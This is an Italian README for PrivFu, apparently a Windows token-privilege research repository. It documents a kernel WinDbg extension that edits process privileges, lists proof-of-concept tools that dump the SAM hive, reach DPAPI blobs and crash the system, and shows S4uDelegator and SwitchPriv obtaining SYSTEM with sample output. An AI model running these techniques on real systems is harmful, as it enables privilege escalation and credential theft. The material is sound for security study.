PrivFu

Estensione WinDbg in modalità kernel e PoC per testare come funzionano i privilegi del token.

Esistono repository e articoli notevoli sull'abuso dei privilegi dei token come Priv2Admin di Grzegorz Tworek. I codici in questo repository sono pensati per aiutare a indagare su come funzionano i privilegi del token.

PrivFu

ArtsOfGetSystem

Project

Questo progetto copre come ottenere privilegi di sistema da una shell con livello di integrità alto. Vedi README.md per i dettagli.

KernelWritePoCs

Project

Lo scopo di questo progetto è indagare su come gli attaccanti abusano delle vulnerabilità di scrittura arbitraria nel kernel. Tutti i PoC sono scritti per HackSys Extreme Vulnerable Driver. La maggior parte di questi PoC ottengono il livello di integrità SYSTEM abusando di vulnerabilità di scrittura arbitraria nel kernel e dei privilegi del token. Testati su Windows 10 versione 1809/1903, ma in teoria dovrebbero funzionare sulla maggior parte delle versioni di Windows 10:

PrivEditor

Project

Warning

In alcuni ambienti, la build Debug non funziona. È preferibile la build Release.

PrivEditor è un'estensione WinDbg in modalità kernel per manipolare il privilegio del token di un processo specifico. Questa estensione rende facile configurare il privilegio del token che si desidera investigare:``` 0: kd> .load C:\dev\PrivEditor\x64\Release\PrivEditor.dll

PrivEditor - Kernel Mode WinDbg extension for token privilege edit.

Commands : + !getps : List processes in target system. + !getpriv : List privileges of a process. + !addpriv : Add privilege(s) to a process. + !rmpriv : Remove privilege(s) from a process. + !enablepriv : Enable privilege(s) of a process. + !disablepriv : Disable privilege(s) of a process. + !enableall : Enable all privileges available to a process. + !disableall : Disable all privileges available to a process.

[*] To see command help, execute "! help" or "! /?".

### getps Command
Questo comando serve per elencare i processi nel sistema target:```
0: kd> !getps /?

!getps - List processes in target system.

Usage : !getps [Process Name]

    Process Name : (OPTIONAL) Specifies filter string for process name.

Se esegui questo comando senza argomenti, elenca tutti i processi nel sistema di destinazione come segue:``` 0: kd> !getps

 PID        nt!_EPROCESS nt!_SEP_TOKEN_PRIVILEGES Process Name

======== =================== ======================== ============ 0 0xfffff80581233630 0x0000000000000000 Idle 4 0xffffd60fec068380 0xffffaf00cec07a40 System 68 0xffffd60ff1780480 0xffffaf00d3b290a0 svchost.exe 88 0xffffd60fec0db080 0xffffaf00cec0d080 Registry 324 0xffffd60fef342040 0xffffaf00d0416080 smss.exe 348 0xffffd60ff052f100 0xffffaf00d25d30a0 dwm.exe 408 0xffffd60feca8e140 0xffffaf00d21bd930 csrss.exe 480 0xffffd60ff05a8340 0xffffaf00d2568670 svchost.exe 484 0xffffd60fefcd60c0 0xffffaf00d06430e0 wininit.exe 500 0xffffd60fefd130c0 0xffffaf00d23100a0 csrss.exe 580 0xffffd60fefdc0080 0xffffaf00d2266630 winlogon.exe

--snip--

Se vuoi conoscere processi specifici, imposta il filtro stringa come segue.
Il filtro funziona con corrispondenza in avanti e non fa distinzione tra maiuscole e minuscole:```
0: kd> !getps micro

     PID        nt!_EPROCESS nt!_SEP_TOKEN_PRIVILEGES Process Name
======== =================== ======================== ============
    4568 0xffffd60f`f14ed080      0xffffaf00`d3db60a0 MicrosoftEdge.exe
    4884 0xffffd60f`f1647080      0xffffaf00`d3fc17b0 MicrosoftEdgeCP.exe
    4892 0xffffd60f`f1685080      0xffffaf00`d3fc07b0 MicrosoftEdgeSH.exe

Comando getpriv

Questo comando serve per elencare i privilegi del token di un processo specifico:``` 0: kd> !getpriv /?

!getpriv - List privileges of a process.

Usage : !getpriv

PID : Specifies target process ID.

Per utilizzare questo comando, è necessario impostare un ID del processo target in formato decimale come segue:```
0: kd> !getpriv 5704

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 5704
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0

Comando addpriv

Questo comando serve ad aggiungere privilegi di token a un processo specifico:``` 0: kd> !addpriv /?

!addpriv - Add privilege(s) to a process.

Usage : !addpriv

PID       : Specifies target process ID.
Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

    + CreateToken                    : SeCreateTokenPrivilege.
    + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
    + LockMemory                     : SeLockMemoryPrivilege.
    + IncreaseQuota                  : SeIncreaseQuotaPrivilege.
    + MachineAccount                 : SeMachineAccountPrivilege.
    + Tcb                            : SeTcbPrivilege.
    + Security                       : SeSecurityPrivilege.
    + TakeOwnership                  : SeTakeOwnershipPrivilege.
    + LoadDriver                     : SeLoadDriverPrivilege.
    + SystemProfile                  : SeSystemProfilePrivilege.
    + Systemtime                     : SeSystemtimePrivilege.
    + ProfileSingleProcess           : SeProfileSingleProcessPrivilege.
    + IncreaseBasePriority           : SeIncreaseBasePriorityPrivilege.
    + CreatePagefile                 : SeCreatePagefilePrivilege.
    + CreatePermanent                : SeCreatePermanentPrivilege.
    + Backup                         : SeBackupPrivilege.
    + Restore                        : SeRestorePrivilege.
    + Shutdown                       : SeShutdownPrivilege.
    + Debug                          : SeDebugPrivilege.
    + Audit                          : SeAuditPrivilege.
    + SystemEnvironment              : SeSystemEnvironmentPrivilege.
    + ChangeNotify                   : SeChangeNotifyPrivilege.
    + RemoteShutdown                 : SeRemoteShutdownPrivilege.
    + Undock                         : SeUndockPrivilege.
    + SyncAgent                      : SeSyncAgentPrivilege.
    + EnableDelegation               : SeEnableDelegationPrivilege.
    + ManageVolume                   : SeManageVolumePrivilege.
    + Impersonate                    : SeImpersonatePrivilege.
    + CreateGlobal                   : SeCreateGlobalPrivilege.
    + TrustedCredManAccess           : SeTrustedCredManAccessPrivilege.
    + Relabel                        : SeRelabelPrivilege.
    + IncreaseWorkingSet             : SeIncreaseWorkingSetPrivilege.
    + TimeZone                       : SeTimeZonePrivilege.
    + CreateSymbolicLink             : SeCreateSymbolicLinkPrivilege.
    + DelegateSessionUserImpersonate : SeDelegateSessionUserImpersonatePrivilege.
    + All                            : All privileges.

Ad esempio, se vuoi impostare SeDebugPrivilege su un processo specifico, imposta un ID del processo di destinazione per il primo argomento e abbrevia il nome del privilegio `debug` come elencato nel messaggio di aiuto per il secondo argomento come segue:```
0: kd> !getpriv 5704

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 5704
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0

0: kd> !addpriv 5704 debug

[>] Trying to add SeDebugPrivilege.
[*] Done.

0: kd> !getpriv 5704

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeDebugPrivilege                           Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 5704
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0

L'argomento del nome del privilegio non fa distinzione tra maiuscole e minuscole.

Se si desidera aggiungere tutti i privilegi del token in una volta, impostare all come argomento del nome del privilegio:``` 0: kd> !addpriv 5704 all

[>] Trying to add all privileges. [*] Done.

0: kd> !getpriv 5704

Privilege Name State ========================================== ======== SeCreateTokenPrivilege Disabled SeAssignPrimaryTokenPrivilege Disabled SeLockMemoryPrivilege Disabled SeIncreaseQuotaPrivilege Disabled SeMachineAccountPrivilege Disabled SeTcbPrivilege Disabled SeSecurityPrivilege Disabled

--snip--

### Comando rmpriv
Questo comando serve per rimuovere i privilegi di token da un processo specifico:```
0: kd> !rmpriv /?

!rmpriv - Remove privilege(s) from a process.

Usage : !rmpriv <PID> <Privilege>

    PID       : Specifies target process ID.
    Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

        + CreateToken                    : SeCreateTokenPrivilege.
        + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
        + LockMemory                     : SeLockMemoryPrivilege.

--snip--

Se vuoi rimuovere SeChangeNotifyPrivilege, esegui questo comando come segue:``` 0: kd> !getpriv 352

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled

[] PID : 352 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d3468770

0: kd> !rmpriv 352 changenotify

[>] Trying to remove SeChangeNotifyPrivilege. [*] Done.

0: kd> !getpriv 352

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled

[] PID : 352 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d3468770

Come il comando `!addpriv`, puoi rimuovere tutti i privilegi del token in una volta impostando `all` come argomento del nome del privilegio:```
0: kd> !rmpriv 352 all

[>] Trying to remove all privileges.
[*] Done.

0: kd> !getpriv 352

Privilege Name                             State
========================================== ========

[*] PID                      : 352
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d3468770

Comando enablepriv

Questo comando serve per abilitare i privilegi del token di un processo specifico:``` 0: kd> !enablepriv /?

!enablepriv - Enable privilege(s) of a process.

Usage : !enablepriv

PID       : Specifies target process ID.
Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

    + CreateToken                    : SeCreateTokenPrivilege.
    + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
    + LockMemory                     : SeLockMemoryPrivilege.

--snip--

Il primo argomento è per l'ID del processo, e il secondo è per il nome del privilegio del token:```
0: kd> !getpriv 1932

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 1932
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a040a0

0: kd> !enablepriv 1932 timezone

[>] Trying to enable SeTimeZonePrivilege.
[*] Done.

0: kd> !getpriv 1932

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Enabled

[*] PID                      : 1932
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a040a0

Se hai tentato di abilitare il/i privilegio(i), non ancora aggiunto, questo comando lo aggiunge automaticamente:``` 0: kd> !getpriv 1932

[] PID : 1932 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0

0: kd> !enablepriv 1932 debug

[] SeDebugPrivilege is not present. [>] Trying to add SeDebugPrivilege. [>] Trying to enable SeDebugPrivilege. [] Done.

0: kd> !getpriv 1932

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeDebugPrivilege Enabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Enabled

[] PID : 1932 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0

### Comando disablepriv
Questo comando serve per disabilitare i privilegi del token di un processo specifico:```
0: kd> !disablepriv /?

!disablepriv - Disable privilege(s) of a process.

Usage : !disablepriv <PID> <Privilege>

    PID       : Specifies target process ID.
    Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

        + CreateToken                    : SeCreateTokenPrivilege.
        + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
        + LockMemory                     : SeLockMemoryPrivilege.

--snip--

Per utilizzare questo comando, imposta un ID del processo di destinazione per il primo argomento e il nome del privilegio del token per il secondo argomento:``` 0: kd> !getpriv 1932

[] PID : 1932 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0

0: kd> !disablepriv 1932 debug

[>] Trying to disable SeDebugPrivilege. [*] Done.

0: kd> !getpriv 1932

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeDebugPrivilege Disabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Enabled

[] PID : 1932 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0

### enableall Command
Questo comando serve per abilitare tutti i privilegi del token disponibili per un processo specifico:```
0: kd> !enableall /?

!enableall - Enable all privileges available to a process.

Usage : !enableall <PID>

    PID       : Specifies target process ID.

Funziona come segue:``` 0: kd> !getpriv 3792

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Disabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled

[] PID : 3792 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0

0: kd> !enableall 3792

[>] Trying to enable all available privileges. [*] Done.

0: kd> !getpriv 3792

Privilege Name State ========================================== ======== SeShutdownPrivilege Enabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Enabled SeIncreaseWorkingSetPrivilege Enabled

[] PID : 3792 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0

### Comando disableall
Questo comando serve per disabilitare tutti i privilegi dei token per un processo specifico:```
0: kd> !disableall /?

!disableall - Disable all privileges available to a process.

Usage : !disableall <PID>

    PID : Specifies target process ID.

Questo comando è equivalente a !disablepriv <PID> all. Funziona come segue:``` 0: kd> !getpriv 3792

Privilege Name State ========================================== ======== SeShutdownPrivilege Enabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Enabled SeIncreaseWorkingSetPrivilege Enabled

[] PID : 3792 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0

0: kd> !disableall 3792

[>] Trying to disable all available privileges. [*] Done.

0: kd> !getpriv 3792

[] PID : 3792 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0

## PrivilegedOperations

[Back to Top](#privfu)

[Project](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations)

Questo progetto contiene PoC per privilegi di token sensibili come `SeDebugPrivilege`. Attualmente, sono stati rilasciati PoC per una parte di essi.

| Nome Programma | Descrizione |
| :--- | :--- |
| [SeAuditPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeAuditPrivilegePoC) | Questo PoC tenta di creare nuovi eventi di sicurezza tramite `SeAuditPrivilege`. `SeAuditPrivilege` non richiede un livello di integrità elevato, ma questo PoC richiede privilegi amministrativi alla prima esecuzione per installare una nuova origine eventi. Inoltre, per confermare il risultato, questo PoC potrebbe richiedere la modifica delle impostazioni dei criteri di sicurezza locali. |
| [SeBackupPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeBackupPrivilegePoC) | Questo PoC tenta di dumpare `HKLM\SAM` tramite `SeBackupPrivilege`. |
| [SeCreatePagefilePrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeCreatePagefilePrivilegePoC) | Questo PoC tenta di impostare l'opzione del file di paging su valori specifici tramite `SeCreatePagefilePrivilege`. |
| [SeCreateTokenPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeCreateTokenPrivilegePoC) | Questo PoC tenta di creare un token elevato tramite `SeCreateTokenPrivilege`. |
| [SeDebugPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeDebugPrivilegePoC) | Questo PoC tenta di aprire un handle su winlogon.exe tramite `SeDebugPrivilege`. |
| [SeLockMemoryPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeLockMemoryPrivilegePoC) | Questo PoC tenta di allocare una regione di memoria di grandi pagine tramite `SeLockMemoryPrivilege`. |
| [SeRestorePrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeRestorePrivilegePoC) | Questo PoC tenta di scrivere un file di test in `C:\Windows\System32\` tramite `SeRestorePrivilege`. |
| [SeSecurityPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeSecurityPrivilegePoC) | Questo PoC tenta di leggere l'ultimo evento di sicurezza tramite `SeSecurityPrivilege`. |
| [SeShutdownPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeShutdownPrivilegePoC) | Questo PoC tenta di causare un BSOD tramite `SeShutdownPrivilege`. |
| [SeSystemEnvironmentPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeSystemEnvironmentPrivilegePoC) | Questo PoC tenta di enumerare l'ambiente di sistema tramite `SeSystemEnvironmentPrivilege`. Funziona solo su sistemi basati su UEFI. A causa delle funzionalità del sistema operativo, questo PoC non funziona su sistemi operativi precedenti a Windows 10 Build 1809. |
| [SeTakeOwnershipPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeTakeOwnershipPrivilegePoC) | Questo PoC tenta di cambiare il proprietario di `HKLM:\SYSTEM\CurrentControlSet\Services\dmwappushservice` con l'account utente chiamante tramite `SeTakeOwnershipPrivilege`. |
| [SeTcbPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeTcbPrivilegePoC) | Questo PoC tenta di eseguire un logon S4U per diventare `Builtin\Backup Operators` tramite `SeTcbPrivilege`. |
| [SeTrustedCredManAccessPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC) | Questo PoC tenta di accedere al blob DPAPI tramite `SeTrustedCredManAccessPrivilege`. |

## S4uDelegator

[Back to Top](#privfu)

[Project](https://github.com/daem0nc0re/privfu/blob/main/S4uDelegator)

Questo strumento serve per eseguire il logon S4U con SeTcbPrivilege. Per eseguire il logon S4U con questo strumento, sono necessari privilegi amministrativi.```
PS C:\Tools> .\S4uDelegator.exe -h

S4uDelegator - Tool for S4U Logon.

Usage: S4uDelegator.exe [Options]

        -h, --help    : Displays this help message.
        -l, --lookup  : Flag to lookup account SID.
        -x, --execute : Flag to execute command.
        -c, --command : Specifies command to execute. Default is cmd.exe.
        -d, --domain  : Specifies domain name to lookup or S4U logon.
        -e, --extra   : Specifies group SIDs you want to add for S4U logon with comma separation.
        -n, --name    : Specifies account name to lookup or S4U logon.
        -s, --sid     : Specifies SID to lookup.

Per utilizzare questo strumento, è necessario specificare il flag -l o -x. Il flag -l serve per cercare le informazioni dell'account come segue:``` PS C:\Tools> .\S4uDelegator.exe -l -d contoso -n "domain admins"

[] Account Name : CONTOSO\Domain Admins [] SID : S-1-5-21-3654360273-254804765-2004310818-512 [*] Account Type : Group

PS C:\Tools> .\S4uDelegator.exe -l -s S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736

[] Account Name : NT SERVICE\WinDefend [] SID : S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736 [*] Account Type : WellKnownGroup

Per eseguire un comando con il logon S4U, imposta il flag `-x` e specifica il nome dell'account o il SID come segue.  
Il comando da eseguire può essere specificato con l'opzione `-c` (il valore predefinito è `cmd.exe`):```
PS C:\Tools> whoami /user

USER INFORMATION
----------------

User Name    SID
============ =============================================
contoso\jeff S-1-5-21-3654360273-254804765-2004310818-1105
PS C:\Tools> .\S4uDelegator.exe -x -d . -n admin

[*] S4U logon target information:
    [*] Account : CL01\admin
    [*] SID     : S-1-5-21-2659926013-4203293582-4033841475-500
    [*] UPN     : (Null)
    [*] Type    : User
[>] Trying to get SYSTEM.
[+] Got SYSTEM privileges.
[>] Trying to S4U logon.
[+] S4U logon is successful.
[>] Trying to create a token assigned process.
Microsoft Windows [Version 10.0.18362.175]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Tools>whoami /user

USER INFORMATION
----------------

User Name  SID
========== =============================================
cl01\admin S-1-5-21-2659926013-4203293582-4033841475-500

Se vuoi aggiungere informazioni extra sul gruppo, imposta i SID del gruppo con valori separati da virgola usando l'opzione -e come segue:``` PS C:\Tools> whoami /user

USER INFORMATION

User Name SID ============= ============================================= contoso\david S-1-5-21-3654360273-254804765-2004310818-1104 PS C:\Tools> .\S4uDelegator.exe -x -d contoso -n jeff -e S-1-5-32-544,S-1-5-20 -c powershell

[] S4U logon target information: [] Account : CONTOSO\jeff [] SID : S-1-5-21-3654360273-254804765-2004310818-1105 [] UPN : [email protected] [] Type : User [>] Verifying extra group SID(s). [] BUILTIN\Administrators (SID : S-1-5-32-544) will be added as a group. [*] NT AUTHORITY\NETWORK SERVICE (SID : S-1-5-20) will be added as a group. [>] Trying to get SYSTEM. [+] Got SYSTEM privileges. [>] Trying to S4U logon. [+] S4U logon is successful. [>] Trying to create a token assigned process. Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Tools> whoami /user

USER INFORMATION

User Name SID ============ ============================================= contoso\jeff S-1-5-21-3654360273-254804765-2004310818-1105 PS C:\Tools> whoami /groups
GROUP INFORMATION

Group Name Type SID Attributes
====================================== ================ ============================================= ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK SERVICE Well-known group S-1-5-20 Mandatory group, Enabled by default, Enabled group CONTOSO\ServerAdmins Group S-1-5-21-3654360273-254804765-2004310818-1103 Mandatory group, Enabled by default, Enabled group Service asserted identity Well-known group S-1-18-2 Mandatory group, Enabled by default, Enabled group Mandatory Label\System Mandatory Level Label S-1-16-16384

> __ATTENZIONE__
>
> Se si tenta di accedere con S4U logon da un account non privilegiato per la macchina target, si otterrà l'errore `0xC0000142` (`STATUS_DLL_INIT_FAILED`) e il comando non può essere eseguito.
> Per evitare questo problema, aggiungere gruppi privilegiati come gruppi extra con l'opzione `-e`.
> 
> Inoltre, alcuni account non possono essere specificati come gruppo extra (ad es. `NT SERVICE\TrustedInstaller`) per S4U logon.
> Se si impostano tali account di gruppo come gruppo extra, S4U logon fallirà con errore `0x00000005` (`ERROR_ACCESS_DENIED`)

## SwitchPriv

[Torna all'inizio](#privfu)

[Progetto](https://github.com/daem0nc0re/privfu/blob/main/SwitchPriv)

Questo strumento abilita o disabilita privilegi specifici del token per un processo:```
PS C:\Dev> .\SwitchPriv.exe -h

SwitchPriv - Tool to control token privileges.

Usage: SwitchPriv.exe [Options]

        -h, --help      : Displays this help message.
        -d, --disable   : Specifies token privilege to disable or "all".
        -e, --enable    : Specifies token privilege to enable or "all".
        -f, --filter    : Specifies token privilege you want to remain.
        -i, --integrity : Specifies integrity level to set in decimal value.
        -p, --pid       : Specifies the target PID. Default specifies PPID.
        -r, --remove    : Specifies token privilege to remove or "all".
        -s, --search    : Specifies token privilege to search.
        -g, --get       : Flag to get available privileges for the target process.
        -l, --list      : Flag to list values for --integrity options.
        -S, --system    : Flag to run as "NT AUTHORITY\SYSTEM".

Per elencare i valori per l'opzione --integrity, esegui con il flag --list come segue:``` PS C:\Dev> .\SwitchPriv.exe -l

Available values for --integrity option:

* 0 : UNTRUSTED_MANDATORY_LEVEL
* 1 : LOW_MANDATORY_LEVEL
* 2 : MEDIUM_MANDATORY_LEVEL
* 3 : MEDIUM_PLUS_MANDATORY_LEVEL
* 4 : HIGH_MANDATORY_LEVEL
* 5 : SYSTEM_MANDATORY_LEVEL
* 6 : PROTECTED_MANDATORY_LEVEL
* 7 : SECURE_MANDATORY_LEVEL

Example :

* Down a specific process' integrity level to Low.

    PS C:\> .\SwitchPriv.exe -p 4142 -s 1

Protected and Secure level should not be available, but left for research purpose.

Il PID del processo target è specificato con l'opzione `-p`. È possibile elencare i privilegi disponibili per il processo target con il flag `-g` e l'opzione `-p` come segue:```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

Quando l'opzione -p non è specificata, il PID sarà il PID padre per questo strumento:``` PS C:\Dev> .\SwitchPriv.exe -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 6772 [] Process Name : powershell [+] Got 5 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ============================= ========================= SeShutdownPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled

[] Integrity Level : Medium Mandatory Level [] Done.

Il nome del privilegio da controllare è specificato con qualsiasi stringa senza distinzione tra maiuscole e minuscole che può specificare un nome di privilegio univoco tra i privilegi disponibili per il processo di destinazione.
Ad esempio, per abilitare `SeUndockPrivilege` per il processo di destinazione, esegui con l'opzione `--enable` come segue:```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -e und

[>] Trying to enable a token privilege.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] SeUndockPrivilege is enabled successfully.
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

Quando imposti una stringa falsa che non può specificare un nome di privilegio unico, otterrai il seguente messaggio:``` PS C:\Dev> .\SwitchPriv.exe -p 9408 -e se

[>] Trying to enable a token privilege. [] Target PID : 9408 [] Process Name : Notepad [-] Cannot specify a unique privilege to enable. [] SeShutdownPrivilege [] SeChangeNotifyPrivilege [] SeUndockPrivilege [] SeIncreaseWorkingSetPrivilege [] SeTimeZonePrivilege [] Done.

Per esempio, per abilitare SeChangeNotifyPrivilege, esegui con l'opzione `--disable` come segue:```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -d chan

[>] Trying to disable a token privilege.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] SeChangeNotifyPrivilege is disabled successfully.
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= ==========================
SeShutdownPrivilege           Disabled
